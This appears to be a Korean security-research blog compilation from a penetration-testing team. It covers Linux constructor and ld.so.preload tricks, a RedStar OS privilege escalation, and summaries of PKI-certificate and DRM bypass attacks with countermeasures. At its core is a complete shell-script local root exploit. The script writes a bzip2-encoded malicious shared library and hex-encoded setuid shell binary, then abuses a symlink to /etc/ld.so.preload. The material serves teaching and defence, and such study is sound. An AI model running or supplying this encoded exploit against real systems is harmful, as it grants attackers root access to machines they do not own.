System Call Tracer를 통해 확인한 경우 ptrace()의 영향으로 인해 파일의 setuid bit가 무시되어 getuid() 계열의 함수 반환 값이 일반 사용자 User-ID로 표현되어 있지만, 선적재 된 라이브러리의 함수인 init() 함수가 Constructor 속성에 의해 프로그램 시작 초기에 실행된다는 것을 알 수 있습니다.


지금까지 Linux 환경에서 가능한 ConstructorPre-loaded Libraries에 대해 알아보았는데요. 실제 이것이 어떻게 Exploit Techniques와 연결될 수 있는지 그 실 예를 다음 편에서 알아보도록 하겠습니다.


정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.


● GCC syntax를 사용한 Constructor의 구현

● 선적재 라이브러리


위 과정에서 공유라이브러리의 Constructor의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 exploit이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.


(1) N.Korea RedStar 2.0 Incorrect permission local root exploit


지난 2012년 저희 TeamCR@K이 블로그에 포스팅 했던 글 중 북한 리눅스 '붉은별' 권한 상승 취약점을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 exploit의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.



exploit은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.


붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인 /bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.


exploit의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 Constructor 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다. 


[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴


exploit을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, Constructor 속성을 가진 init() 함수가 먼저 실행되므로 init() 함수 안에서 system() 함수를 통해 사용된 /bin/bash 실행이 끝난 이 후 /bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.   


[그림 2] 라이브러리의 Constructor 속성을 이용한 exploit


(2) Insecure file creation vulnerability


root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 TeamCR@K이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.


/*

* vuln.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for insecure file creation vulnerability

*/

#include <stdio.h>

#include <dirent.h>


int main(int argc, char **argv)

{

        FILE *fp = NULL;

        char logfile[1024];


        snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);


        if((fp = fopen(logfile, "a+")) != NULL) {

                fputs("Write log contents!\n", fp);

                fclose(fp);

        }

        return 0;

}


위 코드는 다수개의 보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다. 파일을 실행하면, logs 디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 fopen() 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.

다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.


[그림 3] umask 를 이용해 파일 생성 시 소유 권한 조작


위 프로그램은 생성되는 파일에 대한 적절한 검증 절차가 존재하지 않아 umask를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름 자체가 프로그램명(Argument Value)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면 로그파일 이름도 조작이 가능합니다. 

기본적으로 우리가 이제까지 공부한 Constructor 개념과 /etc/ld.so.preload의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.


공격을 위한 기본 시나리오는 아래와 같습니다.


1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)

2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)

3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성

4. vuln 실행

5. /etc/ld.so.preload 파일 생성 확인

6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite

7. root 권한의 setuid 파일 실행

8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인

9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)


다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.


#!/bin/sh

TARGET="/etc/ld.so.preload"

EVIL_BIN="/tmp/evil.so"

ROOTSHELL="/tmp/.teamcrak-root"

WORKDIR="/home/indra/Project/ld.so.preload/stage3"

VICTIM="vuln"

LOGFILE="${WORKDIR}/logs/TeamCRAK.log"


echo "###########################################################################"

echo "#####          Local root exploit for vulnerability example           #####"

echo "#####                                      - Insecure file creation - #####"

echo "#####                                                                 #####"

echo "#####                                                     2018.02.03  #####"

echo "#####                            Exploited by TeamCR@K in A3Security  #####"

echo "#####                                                                 #####"

echo "###########################################################################"


rm -rf ${EVIL_BIN}*

# ##################### 32BIT shared object binary

# #define ROOT "teamcrak-root\

# const char *rs = "/tmp/." ROOT;

# void __attribute__((constructor)) init(void) {

# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }

echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\

\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\

\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\

\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\

\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\

\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\

\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\

\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\

\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\

\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\

\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\

\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\

\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\

\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\

\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\

\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\

\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\

\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\

\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\

\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\

\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\

\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\

\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\

\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\

\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\

\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\

\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\

\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\

\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\

\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\

\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\

\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\

\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2

bzip2 -d ${EVIL_BIN}.bz2


echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\

\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\

\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\

\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\

\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\

\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\

\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\

\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}


if [ -f ${ROOTSHELL} ]; then

        if [ -f ${EVIL_BIN} ]; then

                echo "[*] Preparing environment: OK!"

        else

                echo "[!] No such ${EVIL_BIN}"

                break;

        fi

else

        echo "[!] No such ${ROOTSHELL}"

        break;

fi


# Creation a symbolic link

rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}

rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK


# setup umask

umask 0000


./TeamCRAK 2>/dev/null &


if [ -f ${TARGET} ]; then

        echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null

        break;

fi

ping 2>/dev/null 1>/dev/null


if [ -u "${ROOTSHELL}" ]; then

        echo "[*] Exploit Successfully!~"

        echo "[*] Voila~ r00t sh3LL!"

        echo "" > ${TARGET}

        ${ROOTSHELL}

else

        echo "[*] Exploit failed."

fi


다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.


[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승


위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 TeamCR@K에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.



보신바와 같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를 어떻게 통제할 수 있을까요?

fopen() 과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, umask() 함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.

다음 화면은 fopen() 함수 사용 이전, umask() 를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.


[그림 5] umask() 함수 사용을 통한 파일 생성 시 소유 권한 초기화 결과


setuid bit가 걸린 프로그램은 프로세스 실행 도중 권한이 변경되어 작용하므로 생성되는 파일 관리에도 각별한 주의를 필요로 합니다.

자! 지금까지 저희 TeamCR@K이 준비한 "Exploit Writing Technique"이 마무리가 되었습니다.
재미있게 보셨는지 모르겠습니다. :)
저희 팀은 올해 더 다양한 분야에 대한 연구나 기반기술에 대한 연구를 진행할 예정입니다.
비록 업무가 바빠 블로그에 많은 신경을 쓰지는 못했지만 올해에는 조금 더 다양한 자료로 자주 찾아뵐 것을 약속드리며, 
의문사항이나 지적사항은 댓글이나 a3_crak@a3security.com 으로 메일 보내드시면 감사하겠습니다! ;-)

읽어주셔서 감사합니다!


[ 공인 인증서 기술 우회를 통한 전체 시스템 보안성 침해 영향에 대하여 ]
                                                                                               - PKI
기반 기술 우회 대응방안에 대한 고찰

 


문서는 ‘A3 Security Solution Day 2009’ ‘(In)Security’ 세션의 내용을 간략하게 정리한 문서입니다. 따라서, 민감하거나 악용될 우려가 있는 세부적 코드나 기술 방법에 관련된 내용은 비공개로 하며, 문서의 내용은 특정 제품과 일체의 연관이 없습니다.

 

1.  인증서 기술 개요

PKI(public key infrastructure) 기반의 인증서 기술은 다양한 분야에서 사용자 식별’, ‘인증’, ‘전자서명’, ‘암호화등의 목적으로 사용되고 있다. 기술요소는 CA(Certificate Authority), RA(Registration Authority), OCSP(Online Certificate Status Protocol), TSA(Timestamping Authority) 등으로 구성되며, 관련 표준은 PKCS RFC에서 규정하고 있다.

 

2.  공인 인증서 우회 기법의 개념 전체 시스템 보안성 침해 영향

인증서 우회 기법은 인증서 기술과 기존의 Legacy 시스템이 연동할 야기되는 보안 공동 홀을 이용하는 기법이다. , 인증서 기술의 구현/구성 오류로 인하여 전체 시스템의 보안성이 저해될 있음을 의미한다.

정보보호를 위해 사용자 식별’, ‘인증’, ‘전자서명’, ‘암호화등의 목적으로 구현된 인증서 기술로 인하여 전체 시스템의 보안성이 침해될 있으며, 이로 인하여 인증 우회를 통한 권한 오남용, 조직의 주요정보 개인정보 유출 등의 악영향이 발생할 있다. 또한 우회 기법이기 때문에 감사(Audit) 통한 사고 추적도 어렵게 되고, 정확한 침해 원인분석도 난해하게 된다.

정리하면, 보안성(CIA, 기밀성/무결성/가용성) 강화를 위한 기술의 통제 공동으로, 전체 시스템의 보안성이 오히려 저해될 있다는 것이 핵심이다.

이러한 전체 보안성 침해 factor들은 여러가지가 있을 있는데, ‘인증서 세션 도용’, ‘인증서 기반 암호화 무력화’, ‘인증서 파일 업로드 기능을 악용한 악성파일 실행’, ‘OCSP 우회를 통한 만료된 인증서의 재사용등이 그것이다.

문서에서는 이중 인증서 세션 도용’, ‘인증서 파일 업로드 기능을 악용한 악성파일 실행 대하여 간략히 언급하도록 하겠다.

 

3.  공인 인증서 기술 우회로 인한 전체 보안성 침해 기법 상세


3.1
사용자 인증서의 세션 도용을 통한 PKI 인증 무력화

특정 환경에서 인증서 기반의 데이터 전송 인증서 키가 노출될 있으며, 노출된 키를 공격자가 도용하였을 경우 세션 재전송 공격(Replay Attack) 가능하다. 이러한 기법을 통하여 공격자는 PKI 인증을 무력화할 있으며 인가자의 권한을 도용하여 전체 시스템의 보안성을 저해할 있다. 

                                               [그림 1] 노출된 인증서 키를 도용한 PKI 인증 무력화



3.2
전자서명 업로드 method 악용한 악성 파일 실행

인증서 ActiveX 전자서명 파일 업로드 method 악용하여 파일 업로드 실행을 통한 시스템 권한 획득이 가능하다. 이를 통해 공격자는 악성 파일 실행을 통한 주요정보 개인정보 등을 유출할 있으며, 시스템 권한을 악용하여 연계 서버 내부망에 대한 침투를 시도할 있다.



                                      [그림 2] 전자서명 파일 업로드 기능을 악용한 악성파일 실행

 

이상의 기법 이외에도 인증서 기반 암호화 무력화’, ‘OCSP 우회를 통한 만료된 인증서의 재사용등의 우회 기법이 존재한다.

 

4.  대응 방안

먼저 전체적인 시스템 아키텍처가 안전하여야 하고, 이는 경계선 보안 등의 기본적인 보안 개념이 적용되어야 함을 의미한다. 또한, 서버, 네트워크 장비, DBMS, Web Application, Client Application 등의 전체 시스템이 정보보증(Information Assurance) 측면에서 기밀성, 무결성, 가용성, 인증, 부인방지를 보장하여야 한다.


그리고
, 무엇보다 중요한 것은 단위 시스템의 보안성’, ‘단위 시스템 인터페이스의 보안성’, ‘전체 시스템의 보안성 검토하고 개선해 나가려는 노력이라고 있다. 이러한 노력은 다음의 활동 등이 PDCA 관점에서 지속적으로 이루어져야 함을 의미한다.

● 시스템 분석/설계/구축/전개 시의 보안성 검토

모의해킹 등을 통한 현실적이고 실제적인 취약점 도출 개선

●  주기적인 취약점 진단 개선



온라인 컨텐츠 DRM 보안 취약점과 대응방안 


By Ju Se Hong (jsh@a3sc.co.kr)



1.  서론
음악파일, 동영상파일 등 온라인 정보자산에 대한 저작권이 중요해짐에 따라 온라인 컨텐츠 DRM을 통한 정보보호가 많이 보편화되었다. 특히 웹 및 모바일 환경의 급속한 발전에 따라, 관련 기술을 적용한 온라인 컨텐츠 DRM 시장도 많이 성장하였다.

본 문서에서는 성숙기에 있는 온라인 컨텐츠 DRM의 보안에 대해서 취약점과 대응방안 위주로 알아보고자 한다. 단, 본 문서의 내용은 특정 벤더나 특정 솔루션을 대상으로 하지 않고 있으며, 따라서 본 문서의 내용이 일반적인 표현으로 기술된다는 것을 전제한다.


2.  온라인 컨텐츠 DRM이란?
온라인 컨텐츠 DRM은 컨텐츠의 불법사용방지 및 저작권 보호를 위한 기술이다. Wikipedia에서는 DRM을 디지털 컨텐츠 및 디바이스의 사용을 제한하기 위한 접근 통제 기술과 관련된 일반적인 용어로 설명하고 있다. 일반적인 개념으로 DRM은 디지털 컨텐츠의 불법유통과 복제를 방지하고, 인가된 사용자만이 컨텐츠를 사용하게 하며, 디지털 컨텐츠 저작권을 관리하는 기술로 설명할 수 있다.

온라인 컨텐츠 DRM의 기술적인 스펙은 MPEG-21, OMA 등의 표준에서 정의하고 있다. 이러한 DRM 표준들을 적용한 솔루션이 국내•외에서 많이 사용되고 있는데, 특히 웹에서 사용되는 온라인 컨텐츠 DRM은 ActiveX 방식이 많이 사용되고 있다.


3.  보안 취약점
일반적으로 컨텐츠DRM은 암호화를 통해서 컨텐츠를 보호한다. 그리고, MPEG-21, OMA-DRM 등의 DRM 표준 기술은 암호화 기술이 많은 영역을 차지하고 있다.
DRM 표준은 암호화 알고리즘의 적절한 구현과 Rights의 적절한 유통 및 보호에 초점을 맞추어 표준스펙을 정의하고 있으며, 각각의 DRM 표준은 DRM 아키텍처 및 개별 기능에 대한 공격에 대해서도 대응방안을 고려하고 있다.
그러나 DRM 표준을 솔루션으로 구현 시 표준에서 정의하는 대로 적절히 구현되지 않았거나, 특히 암/복호화 루틴과 키가 공격자에게 노출된다면 컨텐츠를 적절하게 보호할 수 없다.

따라서, 표준의 보안성과 표준을 솔루션으로 구현했을 때 솔루션의 보안성은 Gap이 발생 할 수 있다. 또한 솔루션의 보안성과 솔루션을 적용한 시스템의 전체 보안성도 Gap이 발생할 수 있기 때문에, 전체적으로 DRM 표준의 보안성과 DRM을 적용한 컨텐츠 유통 시스템의 보안성은 Gap이 발생하는게 현실이다.
즉, 시스템의 보안성이 전반적으로 향상되지 않으면, 취약한 부분이 생기게 마련이고 공격자는 가장 취약한 부분을 통해 전체 시스템의 보안성을 저해하게 된다.

이러한 통제공동(Control Hole)은 주로 클라이언트 Application에서 많이 발생하는데, 이는 공격자 관점에서도 시스템, 인프라, 알고리즘에 대한 공격보다 클라이언트 Application에 대한 공격이 더 용이하기 때문이다.
아래는 컨텐츠 DRM의 클라이언트 Application에 대한 대표적인 공격 기법들이다.

  • Reverse-Engineering을 통한 Application Tampering
  • Data 조작을 통한 Input/Output Tampering
  • 비인가 Module을 통한 Control-Flow Tampering
  • 채널 조작을 통한 Communication Tampering

이상에서 나온 항목들의 요점은 사용자 PC에서는 모든 것이 조작 가능하고, 그렇기 때문에 사용자 PC에서 동작하는 클라이언트 Application은 가장 Malicious한 환경에 노출되어 있다는 점이다.
이러한 현실적인 한계는 다양한 통제공동(Control Hole)을 야기하고, 공격자는 가장 취약한 부분을 공격하여 전체 시스템의 보안성을 저해하게 된다. 다음은 관련 사례이다.


1.1 복호화 루틴 분석을 통한 DRM 컨텐츠 파일 복호화
공격자는 DRM 클라이언트 Application을 분석하여 암/복호화 루틴을 조작할 수 있으며, 암호화 key가 노출 가능하면 DRM 컨텐츠 파일의 암호화를 해제하여 무단배포할 수 있다.

[그림 1]에서 볼 수 있듯이, DRM 클라이언트의 바이너리 자체를 리버스 엔지니어링(Reverse-Engineering) 기법으로 분석하면, 취약한 루틴을 찾을 수 있다. 특히 DRM 클라이언트 바이너리가 anti-reversing(리버스 엔지니어링 분석에 대한 대응 기술) 기법이 적용되어 있지 않는 경우가 많아, DRM 클라이언트의 기능을 어셈블리어 수준에서 분석 가능한 경우가 존재한다.

                                        [그림 1] 리버스 엔지니어링으로 복호화 루틴 분석


또한 암호화 key가 노출된다면 노출된 key로 컨텐츠 파일의 복호화가 가능하며, 이런 경우에는 컨텐츠 파일의 불법 복제 및 유통에 대한 통제가 적용되지 않는다. [그림 2]는 인터넷에서 검색을 통하여 발견할 수 있는 내용인데, 복호화 루틴 뿐 아니라 복호화 key가 작성되어 있는 것을 확인할 수 있다.

                                                 [그림 2] DRM 컨텐츠 파일 복호화


1.2 컨텐츠 구매 가격조작을 통한 컨텐츠 무료 사용

공격자는 컨텐츠 구매 시스템에 대한 통신 데이터를 조작하여 구매 프로세스를 우회할 수 있으며, 유료 컨텐츠를 무료 혹은 저비용으로 사용할 수 있다.
이러한 공격 기법은 DRM 기술이 기타 구매/유통 등의 시스템과 맞물려 생기는 통제공동을 이용하는 것이라고 볼 수 있다.

즉, 보안성을 고려하여 만들어진 DRM 기술이 보안성을 크게 고려하지 못한 시스템과 연동될 때 취약점이 생기고, 그 취약점이 전체 시스템에 영향을 미친다는 의미이다.
[그림 3]과 [그림 4]는 온라인 컨텐츠의 구매 시 구매시스템과 통신하는 패킷을 분석하여 구매 프로세스를 우회 및 악용하려는 기술이다. 이러한 기술은 서비스하는 서버에 대해서 조작된 데이터를 전송하거나 클라이언트 바이너리로 전송된 데이터를 조작하여 이루어진다.

                                               [그림 3] 구매 프로세스 상의 패킷 분석

                                                        [그림 4] 구매 패킷 조작
 

4.  대응 방안
먼저 전체적인 시스템 아키텍처가 안전하여야 하고, 이는 경계선 보안 등의 기본적인 보안 개념이 적용되어야 함을 의미한다. 또한, 서버, 네트워크 장비, DBMS, Web Application, Client Application 등의 전체 시스템이 정보보증(Information Assurance) 측면에서 기밀성, 무결성, 가용성, 인증, 부인방지를 보장하여야 한다.

                                                         [그림 5] 정보보증 개념

이상에서 설명한 대로 공격자의 주된 타겟이 되고 주 보안이슈가 되는 부분은 클라이언트 Application이기 때문에, 이에 대한 상세 대응방안을 알아보자.

아래 언급된 대응방안 중 아직 이론적으로도 완전하지 못한 기술도 있고, 이론적으로 완성도가 높은 기술도 구현의 문제가 있기 때문에 현실에 반영할 때는 여러가지 trade-off를 고려해야 할 것이다.

● Application Tamper Resistance
- Debugging Detection, Binary Packing/Encryption, Code Obfuscation 등
● Input/Output Tamper Resistance
- Debugging Detection, Message Hooking Blocking, Unauthorized memory access Blocking, Data Encryption 등
● Control-Flow Tamper Resistance
- Module Signaturing, Integrity Checking 등
● Communication Tamper Resistance
- Channel Encryption, Data Validation 등